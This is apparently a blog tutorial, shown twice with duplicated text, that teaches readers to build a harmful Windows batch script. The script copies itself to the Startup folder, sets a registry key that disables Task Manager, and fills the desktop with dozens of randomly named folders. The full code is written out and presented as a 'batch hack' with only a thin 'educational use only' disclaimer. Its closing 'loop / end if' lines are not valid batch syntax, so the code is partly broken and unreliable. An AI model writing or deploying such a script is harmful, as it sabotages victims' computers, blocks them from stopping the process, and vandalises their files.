Batch Program Hacking
Right let's start.
What do we want:
1) For the batch file to plant itself in the start up files.
2) Lets get it to disable task manager.
3) Maybe we could have it bomb the desktop as well.
This should be a nice simple batch hack for you guys to learn.
Lets start by opening notepad and typing this in:
This tells the batch file to hide the code and to initiate start up of the file.
Now, on a new line, add this code:
This tells the batch file to copy itself to startup. Now, on a new line, add this code:
This is the code that tells the computer to disable the task manager.
You should have something like this:
Now to bomb the desktop, enter this:
Now all we need is a loop:
Our final code should look like this:
Now save this file as File Type: All Files and File Name: 'anything.bat' Make sure you have the .bat bit on the end.
Hope learn from this,
This is for educational use only.
CopyRights: Please Stop Stealing contents from our site i.e xedlgubaid.blogspot.com . I am working hard to create an article, you simply copying? Please respect our hard work. Atleast place backlink to our site & give credit to our blog/author. Hope you will understand our feelings.
What do we want:
1) For the batch file to plant itself in the start up files.
2) Lets get it to disable task manager.
3) Maybe we could have it bomb the desktop as well.
This should be a nice simple batch hack for you guys to learn.
Lets start by opening notepad and typing this in:
Code:
@echo offThis tells the batch file to hide the code and to initiate start up of the file.
Now, on a new line, add this code:
Code:
copy test.bat "%userprofile%\Start Menu\Programs\Startup"This tells the batch file to copy itself to startup. Now, on a new line, add this code:
Code:
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f >nuThis is the code that tells the computer to disable the task manager.
You should have something like this:
Code:
@echo off
copy test.bat "%userprofile%\Start Menu\Programs\Startup"
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f >nulNow to bomb the desktop, enter this:
Code:
cd %userprofile%\desktop
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%Now all we need is a loop:
Code:
loop
end ifCode:
@echo off
copy test.bat "%userprofile%\Start Menu\Programs\Startup"
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f >nul
cd %userprofile%\desktop
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
loop
end ifNow save this file as File Type: All Files and File Name: 'anything.bat' Make sure you have the .bat bit on the end.
Hope learn from this,
This is for educational use only.
CopyRights: Please Stop Stealing contents from our site i.e xedlgubaid.blogspot.com . I am working hard to create an article, you simply copying? Please respect our hard work. Atleast place backlink to our site & give credit to our blog/author. Hope you will understand our feelings.
Comments
Post a Comment